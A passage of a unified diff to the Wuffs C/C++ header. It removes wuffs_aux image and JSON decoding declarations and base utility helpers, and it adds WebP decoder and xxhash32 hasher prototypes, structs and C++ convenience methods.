simpler for synchronous I/O and having DecodeImage only return when --// completely done, but rendering animation often involves handling other --// events in between animation frames. To decode multiple frames of animated --// images, or for asynchronous I/O (e.g. when decoding an image streamed over --// the network), use Wuffs' lower level C API instead of its higher level, --// simplified C++ API (the wuffs_aux API). --// --// The DecodeImageResult's fields depend on whether decoding succeeded: --// - On total success, the error_message is empty and pixbuf.pixcfg.is_valid() --// is true. --// - On partial success (e.g. the input file was truncated but we are still --// able to decode some of the pixels), error_message is non-empty but --// pixbuf.pixcfg.is_valid() is still true. It is up to the caller whether to --// accept or reject partial success. --// - On failure, the error_message is non_empty and pixbuf.pixcfg.is_valid() --// is false. --// --// The callbacks allocate the pixel buffer memory and work buffer memory. On --// success, pixel buffer memory ownership is passed to the DecodeImage caller --// as the returned pixbuf_mem_owner. Regardless of success or failure, the work --// buffer memory is deleted. --// --// The pixel_blend (one of the constants listed below) determines how to --// composite the decoded image over the pixel buffer's original pixels (as --// returned by callbacks.AllocPixbuf): --// - WUFFS_BASE__PIXEL_BLEND__SRC --// - WUFFS_BASE__PIXEL_BLEND__SRC_OVER --// --// The background_color is used to fill the pixel buffer after --// callbacks.AllocPixbuf returns, if it is valid in the --// wuffs_base__color_u32_argb_premul__is_valid sense. The default value, --// 0x0000_0001, is not valid since its Blue channel value (0x01) is greater --// than its Alpha channel value (0x00). A valid background_color will typically --// be overwritten when pixel_blend is WUFFS_BASE__PIXEL_BLEND__SRC, but might --// still be visible on partial (not total) success or when pixel_blend is --// WUFFS_BASE__PIXEL_BLEND__SRC_OVER and the decoded image is not fully opaque. --// --// Decoding fails (with DecodeImage_MaxInclDimensionExceeded) if the image's --// width or height is greater than max_incl_dimension or if any opted-in (via --// flags bits) metadata is longer than max_incl_metadata_length. --DecodeImageResult // --DecodeImage(DecodeImageCallbacks& callbacks, -- sync_io::Input& input, -- DecodeImageArgQuirks quirks = DecodeImageArgQuirks::DefaultValue(), -- DecodeImageArgFlags flags = DecodeImageArgFlags::DefaultValue(), -- DecodeImageArgPixelBlend pixel_blend = -- DecodeImageArgPixelBlend::DefaultValue(), -- DecodeImageArgBackgroundColor background_color = -- DecodeImageArgBackgroundColor::DefaultValue(), -- DecodeImageArgMaxInclDimension max_incl_dimension = -- DecodeImageArgMaxInclDimension::DefaultValue(), -- DecodeImageArgMaxInclMetadataLength max_incl_metadata_length = -- DecodeImageArgMaxInclMetadataLength::DefaultValue()); -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_webp__decoder__num_decoded_frames( -+ const wuffs_webp__decoder* self); - --} // namespace wuffs_aux -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_webp__decoder__restart_frame( -+ wuffs_webp__decoder* self, -+ uint64_t a_index, -+ uint64_t a_io_position); - --// ---------------- Auxiliary - JSON -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct -+wuffs_webp__decoder__set_report_metadata( -+ wuffs_webp__decoder* self, -+ uint32_t a_fourcc, -+ bool a_report); - --namespace wuffs_aux { -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_webp__decoder__tell_me_more( -+ wuffs_webp__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__more_information* a_minfo, -+ wuffs_base__io_buffer* a_src); - --struct DecodeJsonResult { -- DecodeJsonResult(std::string&& error_message0, uint64_t cursor_position0); -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 -+wuffs_webp__decoder__workbuf_len( -+ const wuffs_webp__decoder* self); - -- std::string error_message; -- uint64_t cursor_position; --}; -+#ifdef __cplusplus -+} // extern "C" -+#endif - --class DecodeJsonCallbacks { -- public: -- virtual ~DecodeJsonCallbacks(); -+// ---------------- Struct Definitions - -- // AppendXxx are called for leaf nodes: literals, numbers and strings. For -- // strings, the Callbacks implementation is responsible for tracking map keys -- // versus other values. -+// These structs' fields, and the sizeof them, are private implementation -+// details that aren't guaranteed to be stable across Wuffs versions. -+// -+// See https://en.wikipedia.org/wiki/Opaque_pointer#C - -- virtual std::string AppendNull() = 0; -- virtual std::string AppendBool(bool val) = 0; -- virtual std::string AppendF64(double val) = 0; -- virtual std::string AppendI64(int64_t val) = 0; -- virtual std::string AppendTextString(std::string&& val) = 0; -+#if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) - -- // Push and Pop are called for container nodes: JSON arrays (lists) and JSON -- // objects (dictionaries). -+struct wuffs_webp__decoder__struct { -+ // Do not access the private_impl's or private_data's fields directly. There -+ // is no API/ABI compatibility or safety guarantee if you do so. Instead, use -+ // the wuffs_foo__bar__baz functions. - // -- // The flags bits combine exactly one of: -- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_NONE -- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_LIST -- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_DICT -- // and exactly one of: -- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_NONE -- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_LIST -- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_DICT -+ // It is a struct, not a struct*, so that the outermost wuffs_foo__bar struct -+ // can be stack allocated when WUFFS_IMPLEMENTATION is defined. - -- virtual std::string Push(uint32_t flags) = 0; -- virtual std::string Pop(uint32_t flags) = 0; -+ struct { -+ uint32_t magic; -+ uint32_t active_coroutine; -+ wuffs_base__vtable vtable_for__wuffs_base__image_decoder; -+ wuffs_base__vtable null_vtable; - -- // Done is always the last Callback method called by DecodeJson, whether or -- // not parsing the input as JSON encountered an error. Even when successful, -- // trailing data may remain in input and buffer. See "Unintuitive JSON -- // Parsing" (https://nullprogram.com/blog/2019/12/28/) which discusses JSON -- // parsing and when it stops. -- // -- // Do not keep a reference to buffer or buffer.data.ptr after Done returns, -- // as DecodeJson may then de-allocate the backing array. -- // -- // The default Done implementation is a no-op. -- virtual void // -- Done(DecodeJsonResult& result, sync_io::Input& input, IOBuffer& buffer); --}; -+ uint32_t f_pixfmt; -+ uint32_t f_width; -+ uint32_t f_height; -+ uint8_t f_call_sequence; -+ uint8_t f_code_length_code_lengths[19]; -+ bool f_sub_chunk_has_padding; -+ uint64_t f_frame_config_io_position; -+ uint32_t f_riff_chunk_length; -+ uint32_t f_sub_chunk_length; -+ uint32_t f_bits; -+ uint32_t f_n_bits; -+ bool f_seen_transform[4]; -+ uint8_t f_transform_type[4]; -+ uint8_t f_transform_tile_size_log2[4]; -+ uint32_t f_n_transforms; -+ uint32_t f_color_cache_bits; -+ uint32_t f_overall_color_cache_bits; -+ uint32_t f_overall_tile_size_log2; -+ uint32_t f_overall_n_huffman_groups; -+ uint32_t f_ht_n_symbols; -+ uint32_t f_ht_code_lengths_remaining; -+ uint32_t f_color_indexing_palette_size; -+ uint32_t f_color_indexing_width; -+ uint32_t f_workbuf_offset_for_transform[4]; -+ uint32_t f_workbuf_offset_for_color_indexing; -+ wuffs_base__pixel_swizzler f_swizzler; - --extern const char DecodeJson_BadJsonPointer[]; --extern const char DecodeJson_NoMatch[]; -+ uint32_t p_decode_huffman_groups; -+ uint32_t p_decode_huffman_tree; -+ uint32_t p_decode_huffman_tree_simple; -+ uint32_t p_decode_code_length_code_lengths; -+ uint32_t p_build_code_lengths; -+ uint32_t p_decode_pixels_slow; -+ uint32_t p_decode_image_config; -+ uint32_t p_do_decode_image_config; -+ uint32_t p_do_decode_image_config_limited; -+ uint32_t p_do_decode_image_config_limited_vp8l; -+ uint32_t p_decode_frame_config; -+ uint32_t p_do_decode_frame_config; -+ uint32_t p_decode_frame; -+ uint32_t p_do_decode_frame; -+ uint32_t p_decode_transform; -+ uint32_t p_decode_color_cache_parameters; -+ uint32_t p_decode_hg_table; -+ uint32_t p_decode_pixels; -+ } private_impl; - --// The FooArgBar types add structure to Foo's optional arguments. They wrap --// inner representations for several reasons: --// - It provides a home for the DefaultValue static method, for Foo callers --// that want to override some but not all optional arguments. --// - It provides the "Bar" name at Foo call sites, which can help self- --// document Foo calls with many arguemnts. --// - It provides some type safety against accidentally transposing or omitting --// adjacent fundamentally-numeric-typed optional arguments. -+ struct { -+ uint8_t f_palette[1024]; -+ uint32_t f_color_cache[2048]; -+ uint16_t f_codes[2328]; -+ uint16_t f_code_lengths[2328]; -+ uint16_t f_code_lengths_huffman_nodes[37]; -+ uint16_t f_huffman_nodes[256][6267]; - --// DecodeJsonArgQuirks wraps an optional argument to DecodeJson. --struct DecodeJsonArgQuirks { -- explicit DecodeJsonArgQuirks(wuffs_base__slice_u32 repr0); -- explicit DecodeJsonArgQuirks(uint32_t* ptr, size_t len); -+ struct { -+ uint32_t v_hg; -+ uint32_t v_ht; -+ } s_decode_huffman_groups; -+ struct { -+ uint32_t v_use_second_symbol; -+ uint32_t v_first_symbol_n_bits; -+ uint32_t v_symbol0; -+ uint32_t v_base_offset; -+ } s_decode_huffman_tree_simple; -+ struct { -+ uint32_t v_n_codes; -+ uint32_t v_i; -+ } s_decode_code_length_code_lengths; -+ struct { -+ uint32_t v_length_n_bits; -+ uint16_t v_prev_code_length; -+ uint32_t v_s; -+ uint32_t v_s_max; -+ uint16_t v_node; -+ uint16_t v_repeat_value; -+ uint32_t v_repeat_n_bits; -+ } s_build_code_lengths; -+ struct { -+ uint64_t v_p; -+ uint64_t v_p_max; -+ uint32_t v_tile_size_log2; -+ uint32_t v_width_in_tiles; -+ uint32_t v_x; -+ uint32_t v_y; -+ uint32_t v_hg; -+ uint16_t v_node; -+ uint32_t v_color; -+ uint32_t v_back_ref_len_n_bits; -+ uint32_t v_back_ref_len_minus_1; -+ uint32_t v_back_ref_dist_n_bits; -+ uint32_t v_back_ref_dist_premap_minus_1; -+ uint64_t v_color_cache_p; -+ } s_decode_pixels_slow; -+ struct { -+ uint64_t scratch; -+ } s_do_decode_image_config; -+ struct { -+ uint64_t scratch; -+ } s_do_decode_image_config_limited; -+ struct { -+ uint64_t scratch; -+ } s_do_decode_image_config_limited_vp8l; -+ struct { -+ uint32_t v_width; -+ } s_do_decode_frame; -+ struct { -+ uint32_t v_transform_type; -+ uint32_t v_tile_size_log2; -+ } s_decode_transform; -+ struct { -+ uint32_t v_tile_size_log2; -+ } s_decode_hg_table; -+ } private_data; - -- // DefaultValue returns an empty slice. -- static DecodeJsonArgQuirks DefaultValue(); -+#ifdef __cplusplus -+#if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) -+ using unique_ptr = std::unique_ptr; - -- wuffs_base__slice_u32 repr; --}; -+ // On failure, the alloc_etc functions return nullptr. They don't throw. - --// DecodeJsonArgJsonPointer wraps an optional argument to DecodeJson. --struct DecodeJsonArgJsonPointer { -- explicit DecodeJsonArgJsonPointer(std::string repr0); -+ static inline unique_ptr -+ alloc() { -+ return unique_ptr(wuffs_webp__decoder__alloc()); -+ } - -- // DefaultValue returns an empty string. -- static DecodeJsonArgJsonPointer DefaultValue(); -+ static inline wuffs_base__image_decoder::unique_ptr -+ alloc_as__wuffs_base__image_decoder() { -+ return wuffs_base__image_decoder::unique_ptr( -+ wuffs_webp__decoder__alloc_as__wuffs_base__image_decoder()); -+ } -+#endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) - -- std::string repr; --}; -+#if defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) -+ // Disallow constructing or copying an object via standard C++ mechanisms, -+ // e.g. the "new" operator, as this struct is intentionally opaque. Its total -+ // size and field layout is not part of the public, stable, memory-safe API. -+ // Use malloc or memcpy and the sizeof__wuffs_foo__bar function instead, and -+ // call wuffs_foo__bar__baz methods (which all take a "this"-like pointer as -+ // their first argument) rather than tweaking bar.private_impl.qux fields. -+ // -+ // In C, we can just leave wuffs_foo__bar as an incomplete type (unless -+ // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in -+ // order to provide convenience methods. These forward on "this", so that you -+ // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". -+ wuffs_webp__decoder__struct() = delete; -+ wuffs_webp__decoder__struct(const wuffs_webp__decoder__struct&) = delete; -+ wuffs_webp__decoder__struct& operator=( -+ const wuffs_webp__decoder__struct&) = delete; -+#endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) - --// DecodeJson calls callbacks based on the JSON-formatted data in input. --// --// On success, the returned error_message is empty and cursor_position counts --// the number of bytes consumed. On failure, error_message is non-empty and --// cursor_position is the location of the error. That error may be a content --// error (invalid JSON) or an input error (e.g. network failure). --// --// json_pointer is a query in the JSON Pointer (RFC 6901) syntax. The callbacks --// run for the input's sub-node that matches the query. DecodeJson_NoMatch is --// returned if no matching sub-node was found. The empty query matches the --// input's root node, consistent with JSON Pointer semantics. --// --// The JSON Pointer implementation is greedy: duplicate keys are not rejected --// but only the first match for each '/'-separated fragment is followed. --DecodeJsonResult // --DecodeJson(DecodeJsonCallbacks& callbacks, -- sync_io::Input& input, -- DecodeJsonArgQuirks quirks = DecodeJsonArgQuirks::DefaultValue(), -- DecodeJsonArgJsonPointer json_pointer = -- DecodeJsonArgJsonPointer::DefaultValue()); -+#if !defined(WUFFS_IMPLEMENTATION) -+ // As above, the size of the struct is not part of the public API, and unless -+ // WUFFS_IMPLEMENTATION is #define'd, this struct type T should be heap -+ // allocated, not stack allocated. Its size is not intended to be known at -+ // compile time, but it is unfortunately divulged as a side effect of -+ // defining C++ convenience methods. Use "sizeof__T()", calling the function, -+ // instead of "sizeof T", invoking the operator. To make the two values -+ // different, so that passing the latter will be rejected by the initialize -+ // function, we add an arbitrary amount of dead weight. -+ uint8_t dead_weight[123000000]; // 123 MB. -+#endif // !defined(WUFFS_IMPLEMENTATION) - --} // namespace wuffs_aux -+ inline wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+ initialize( -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options) { -+ return wuffs_webp__decoder__initialize( -+ this, sizeof_star_self, wuffs_version, options); -+ } - --#endif // defined(__cplusplus) && defined(WUFFS_BASE__HAVE_UNIQUE_PTR) -+ inline wuffs_base__image_decoder* -+ upcast_as__wuffs_base__image_decoder() { -+ return (wuffs_base__image_decoder*)this; -+ } - --// ‼ WUFFS C HEADER ENDS HERE. --#ifdef WUFFS_IMPLEMENTATION -+ inline uint64_t -+ get_quirk( -+ uint32_t a_key) const { -+ return wuffs_webp__decoder__get_quirk(this, a_key); -+ } - --#ifdef __cplusplus --extern "C" { --#endif -+ inline wuffs_base__status -+ set_quirk( -+ uint32_t a_key, -+ uint64_t a_value) { -+ return wuffs_webp__decoder__set_quirk(this, a_key, a_value); -+ } - --// ---------------- Fundamentals -+ inline wuffs_base__status -+ decode_image_config( -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ return wuffs_webp__decoder__decode_image_config(this, a_dst, a_src); -+ } - --// WUFFS_BASE__MAGIC is a magic number to check that initializers are called. --// It's not foolproof, given C doesn't automatically zero memory before use, --// but it should catch 99.99% of cases. --// --// Its (non-zero) value is arbitrary, based on md5sum("wuffs"). --#define WUFFS_BASE__MAGIC ((uint32_t)0x3CCB6C71) -+ inline wuffs_base__status -+ decode_frame_config( -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ return wuffs_webp__decoder__decode_frame_config(this, a_dst, a_src); -+ } - --// WUFFS_BASE__DISABLED is a magic number to indicate that a non-recoverable --// error was previously encountered. --// --// Its (non-zero) value is arbitrary, based on md5sum("disabled"). --#define WUFFS_BASE__DISABLED ((uint32_t)0x075AE3D2) -+ inline wuffs_base__status -+ decode_frame( -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts) { -+ return wuffs_webp__decoder__decode_frame(this, a_dst, a_src, a_blend, a_workbuf, a_opts); -+ } - --// Use switch cases for coroutine suspension points, similar to the technique --// in https://www.chiark.greenend.org.uk/~sgtatham/coroutines.html --// --// The implicit fallthrough is intentional. --// --// We use trivial macros instead of an explicit assignment and case statement --// so that clang-format doesn't get confused by the unusual "case"s. --#define WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0 case 0:; --#define WUFFS_BASE__COROUTINE_SUSPENSION_POINT(n) \ -- coro_susp_point = n; \ -- case n:; -+ inline wuffs_base__rect_ie_u32 -+ frame_dirty_rect() const { -+ return wuffs_webp__decoder__frame_dirty_rect(this); -+ } - --#define WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(n) \ -- if (!status.repr) { \ -- goto ok; \ -- } else if (*status.repr != '$') { \ -- goto exit; \ -- } \ -- coro_susp_point = n; \ -- goto suspend; \ -- case n:; -+ inline uint32_t -+ num_animation_loops() const { -+ return wuffs_webp__decoder__num_animation_loops(this); -+ } - --// The "defined(__clang__)" isn't redundant. While vanilla clang defines --// __GNUC__, clang-cl (which mimics MSVC's cl.exe) does not. --#if defined(__GNUC__) || defined(__clang__) --#define WUFFS_BASE__LIKELY(expr) (__builtin_expect(!!(expr), 1)) --#define WUFFS_BASE__UNLIKELY(expr) (__builtin_expect(!!(expr), 0)) --#else --#define WUFFS_BASE__LIKELY(expr) (expr) --#define WUFFS_BASE__UNLIKELY(expr) (expr) --#endif -+ inline uint64_t -+ num_decoded_frame_configs() const { -+ return wuffs_webp__decoder__num_decoded_frame_configs(this); -+ } - --// -------- -+ inline uint64_t -+ num_decoded_frames() const { -+ return wuffs_webp__decoder__num_decoded_frames(this); -+ } - --#if defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wcast-qual" --#endif --static inline uint8_t* // --wuffs_base__strip_const_from_u8_ptr(const uint8_t* ptr) { -- return (uint8_t*)ptr; --} --#if defined(__GNUC__) --#pragma GCC diagnostic pop --#endif -+ inline wuffs_base__status -+ restart_frame( -+ uint64_t a_index, -+ uint64_t a_io_position) { -+ return wuffs_webp__decoder__restart_frame(this, a_index, a_io_position); -+ } - --// -------- -+ inline wuffs_base__empty_struct -+ set_report_metadata( -+ uint32_t a_fourcc, -+ bool a_report) { -+ return wuffs_webp__decoder__set_report_metadata(this, a_fourcc, a_report); -+ } - --static inline wuffs_base__empty_struct // --wuffs_base__ignore_status(wuffs_base__status z) { -- return wuffs_base__make_empty_struct(); --} -+ inline wuffs_base__status -+ tell_me_more( -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__more_information* a_minfo, -+ wuffs_base__io_buffer* a_src) { -+ return wuffs_webp__decoder__tell_me_more(this, a_dst, a_minfo, a_src); -+ } - --static inline wuffs_base__status // --wuffs_base__status__ensure_not_a_suspension(wuffs_base__status z) { -- if (z.repr && (*z.repr == '$')) { -- z.repr = wuffs_base__error__cannot_return_a_suspension; -+ inline wuffs_base__range_ii_u64 -+ workbuf_len() const { -+ return wuffs_webp__decoder__workbuf_len(this); - } -- return z; --} - --// -------- -+#endif // __cplusplus -+}; // struct wuffs_webp__decoder__struct - --// wuffs_base__iterate_total_advance returns the exclusive pointer-offset at --// which iteration should stop. The overall slice has length total_len, each --// iteration's sub-slice has length iter_len and are placed iter_advance apart. --// --// The iter_advance may not be larger than iter_len. The iter_advance may be --// smaller than iter_len, in which case the sub-slices will overlap. --// --// The return value r satisfies ((0 <= r) && (r <= total_len)). --// --// For example, if total_len = 15, iter_len = 5 and iter_advance = 3, there are --// four iterations at offsets 0, 3, 6 and 9. This function returns 12. --// --// 0123456789012345 --// [....] --// [....] --// [....] --// [....] --// $ --// 0123456789012345 --// --// For example, if total_len = 15, iter_len = 5 and iter_advance = 5, there are --// three iterations at offsets 0, 5 and 10. This function returns 15. -+#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) -+ -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WEBP) || defined(WUFFS_NONMONOLITHIC) -+ -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH32) || defined(WUFFS_NONMONOLITHIC) -+ -+// ---------------- Status Codes -+ -+// ---------------- Public Consts -+ -+// ---------------- Struct Declarations -+ -+typedef struct wuffs_xxhash32__hasher__struct wuffs_xxhash32__hasher; -+ -+#ifdef __cplusplus -+extern "C" { -+#endif -+ -+// ---------------- Public Initializer Prototypes -+ -+// For any given "wuffs_foo__bar* self", "wuffs_foo__bar__initialize(self, -+// etc)" should be called before any other "wuffs_foo__bar__xxx(self, etc)". - // --// 0123456789012345 --// [....] --// [....] --// [....] --// $ --// 0123456789012345 --static inline size_t // --wuffs_base__iterate_total_advance(size_t total_len, -- size_t iter_len, -- size_t iter_advance) { -- if (total_len >= iter_len) { -- size_t n = total_len - iter_len; -- return ((n / iter_advance) * iter_advance) + iter_advance; -- } -- return 0; --} -+// Pass sizeof(*self) and WUFFS_VERSION for sizeof_star_self and wuffs_version. -+// Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. - --// ---------------- Numeric Types -+wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+wuffs_xxhash32__hasher__initialize( -+ wuffs_xxhash32__hasher* self, -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options); - --extern const uint8_t wuffs_base__low_bits_mask__u8[8]; --extern const uint16_t wuffs_base__low_bits_mask__u16[16]; --extern const uint32_t wuffs_base__low_bits_mask__u32[32]; --extern const uint64_t wuffs_base__low_bits_mask__u64[64]; -+size_t -+sizeof__wuffs_xxhash32__hasher(void); - --#define WUFFS_BASE__LOW_BITS_MASK__U8(n) (wuffs_base__low_bits_mask__u8[n]) --#define WUFFS_BASE__LOW_BITS_MASK__U16(n) (wuffs_base__low_bits_mask__u16[n]) --#define WUFFS_BASE__LOW_BITS_MASK__U32(n) (wuffs_base__low_bits_mask__u32[n]) --#define WUFFS_BASE__LOW_BITS_MASK__U64(n) (wuffs_base__low_bits_mask__u64[n]) -+// ---------------- Allocs - --// -------- -+// These functions allocate and initialize Wuffs structs. They return NULL if -+// memory allocation fails. If they return non-NULL, there is no need to call -+// wuffs_foo__bar__initialize, but the caller is responsible for eventually -+// calling free on the returned pointer. That pointer is effectively a C++ -+// std::unique_ptr. - --static inline void // --wuffs_base__u8__sat_add_indirect(uint8_t* x, uint8_t y) { -- *x = wuffs_base__u8__sat_add(*x, y); --} -+wuffs_xxhash32__hasher* -+wuffs_xxhash32__hasher__alloc(void); - --static inline void // --wuffs_base__u8__sat_sub_indirect(uint8_t* x, uint8_t y) { -- *x = wuffs_base__u8__sat_sub(*x, y); -+static inline wuffs_base__hasher_u32* -+wuffs_xxhash32__hasher__alloc_as__wuffs_base__hasher_u32(void) { -+ return (wuffs_base__hasher_u32*)(wuffs_xxhash32__hasher__alloc()); - } - --static inline void // --wuffs_base__u16__sat_add_indirect(uint16_t* x, uint16_t y) { -- *x = wuffs_base__u16__sat_add(*x, y); --} -+// ---------------- Upcasts - --static inline void // --wuffs_base__u16__sat_sub_indirect(uint16_t* x, uint16_t y) { -- *x = wuffs_base__u16__sat_sub(*x, y); -+static inline wuffs_base__hasher_u32* -+wuffs_xxhash32__hasher__upcast_as__wuffs_base__hasher_u32( -+ wuffs_xxhash32__hasher* p) { -+ return (wuffs_base__hasher_u32*)p; - } - --static inline void // --wuffs_base__u32__sat_add_indirect(uint32_t* x, uint32_t y) { -- *x = wuffs_base__u32__sat_add(*x, y); --} -+// ---------------- Public Function Prototypes - --static inline void // --wuffs_base__u32__sat_sub_indirect(uint32_t* x, uint32_t y) { -- *x = wuffs_base__u32__sat_sub(*x, y); --} -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_xxhash32__hasher__get_quirk( -+ const wuffs_xxhash32__hasher* self, -+ uint32_t a_key); - --static inline void // --wuffs_base__u64__sat_add_indirect(uint64_t* x, uint64_t y) { -- *x = wuffs_base__u64__sat_add(*x, y); --} -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_xxhash32__hasher__set_quirk( -+ wuffs_xxhash32__hasher* self, -+ uint32_t a_key, -+ uint64_t a_value); - --static inline void // --wuffs_base__u64__sat_sub_indirect(uint64_t* x, uint64_t y) { -- *x = wuffs_base__u64__sat_sub(*x, y); --} -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct -+wuffs_xxhash32__hasher__update( -+ wuffs_xxhash32__hasher* self, -+ wuffs_base__slice_u8 a_x); - --// ---------------- Numeric Types (Utility) -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint32_t -+wuffs_xxhash32__hasher__update_u32( -+ wuffs_xxhash32__hasher* self, -+ wuffs_base__slice_u8 a_x); - --#define wuffs_base__utility__sign_extend_convert_u16_u32(a) \ -- ((uint32_t)(int32_t)(int16_t)(a)) -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint32_t -+wuffs_xxhash32__hasher__checksum_u32( -+ const wuffs_xxhash32__hasher* self); - --#define wuffs_base__utility__sign_extend_rshift_u32(a, n) \ -- ((uint32_t)(((int32_t)(a)) >> (n))) -+#ifdef __cplusplus -+} // extern "C" -+#endif - --#define wuffs_base__utility__sign_extend_rshift_u64(a, n) \ -- ((uint64_t)(((int64_t)(a)) >> (n))) -+// ---------------- Struct Definitions - --// ---------------- Slices and Tables -+// These structs' fields, and the sizeof them, are private implementation -+// details that aren't guaranteed to be stable across Wuffs versions. -+// -+// See https://en.wikipedia.org/wiki/Opaque_pointer#C - --// wuffs_base__slice_u8__prefix returns up to the first up_to bytes of s. --static inline wuffs_base__slice_u8 // --wuffs_base__slice_u8__prefix(wuffs_base__slice_u8 s, uint64_t up_to) { -- if (((uint64_t)(s.len)) > up_to) { -- s.len = ((size_t)up_to); -+#if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) -+ -+struct wuffs_xxhash32__hasher__struct { -+ // Do not access the private_impl's or private_data's fields directly. There -+ // is no API/ABI compatibility or safety guarantee if you do so. Instead, use -+ // the wuffs_foo__bar__baz functions. -+ // -+ // It is a struct, not a struct*, so that the outermost wuffs_foo__bar struct -+ // can be stack allocated when WUFFS_IMPLEMENTATION is defined. -+ -+ struct { -+ uint32_t magic; -+ uint32_t active_coroutine; -+ wuffs_base__vtable vtable_for__wuffs_base__hasher_u32; -+ wuffs_base__vtable null_vtable; -+ -+ uint32_t f_length_modulo_u32; -+ bool f_length_overflows_u32; -+ uint8_t f_padding0; -+ uint8_t f_padding1; -+ uint8_t f_buf_len; -+ uint8_t f_buf_data[16]; -+ uint32_t f_v0; -+ uint32_t f_v1; -+ uint32_t f_v2; -+ uint32_t f_v3; -+ } private_impl; -+ -+#ifdef __cplusplus -+#if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) -+ using unique_ptr = std::unique_ptr; -+ -+ // On failure, the alloc_etc functions return nullptr. They don't throw. -+ -+ static inline unique_ptr -+ alloc() { -+ return unique_ptr(wuffs_xxhash32__hasher__alloc()); - } -- return s; --} - --// wuffs_base__slice_u8__suffix returns up to the last up_to bytes of s. --static inline wuffs_base__slice_u8 // --wuffs_base__slice_u8__suffix(wuffs_base__slice_u8 s, uint64_t up_to) { -- if (((uint64_t)(s.len)) > up_to) { -- s.ptr += ((uint64_t)(s.len)) - up_to; -- s.len = ((size_t)up_to); -+ static inline wuffs_base__hasher_u32::unique_ptr -+ alloc_as__wuffs_base__hasher_u32() { -+ return wuffs_base__hasher_u32::unique_ptr( -+ wuffs_xxhash32__hasher__alloc_as__wuffs_base__hasher_u32()); - } -- return s; --} -+#endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) - --// wuffs_base__slice_u8__copy_from_slice calls memmove(dst.ptr, src.ptr, len) --// where len is the minimum of dst.len and src.len. --// --// Passing a wuffs_base__slice_u8 with all fields NULL or zero (a valid, empty --// slice) is valid and results in a no-op. --static inline uint64_t // --wuffs_base__slice_u8__copy_from_slice(wuffs_base__slice_u8 dst, -- wuffs_base__slice_u8 src) { -- size_t len = dst.len < src.len ? dst.len : src.len; -- if (len > 0) { -- memmove(dst.ptr, src.ptr, len); -+#if defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) -+ // Disallow constructing or copying an object via standard C++ mechanisms, -+ // e.g. the "new" operator, as this struct is intentionally opaque. Its total -+ // size and field layout is not part of the public, stable, memory-safe API. -+ // Use malloc or memcpy and the sizeof__wuffs_foo__bar function instead, and -+ // call wuffs_foo__bar__baz methods (which all take a "this"-like pointer as -+ // their first argument) rather than tweaking bar.private_impl.qux fields. -+ // -+ // In C, we can just leave wuffs_foo__bar as an incomplete type (unless -+ // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in -+ // order to provide convenience methods. These forward on "this", so that you -+ // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". -+ wuffs_xxhash32__hasher__struct() = delete; -+ wuffs_xxhash32__hasher__struct(const wuffs_xxhash32__hasher__struct&) = delete; -+ wuffs_xxhash32__hasher__struct& operator=( -+ const wuffs_xxhash32__hasher__struct&) = delete; -+#endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) -+ -+#if !defined(WUFFS_IMPLEMENTATION) -+ // As above, the size of the struct is not part of the public API, and unless -+ // 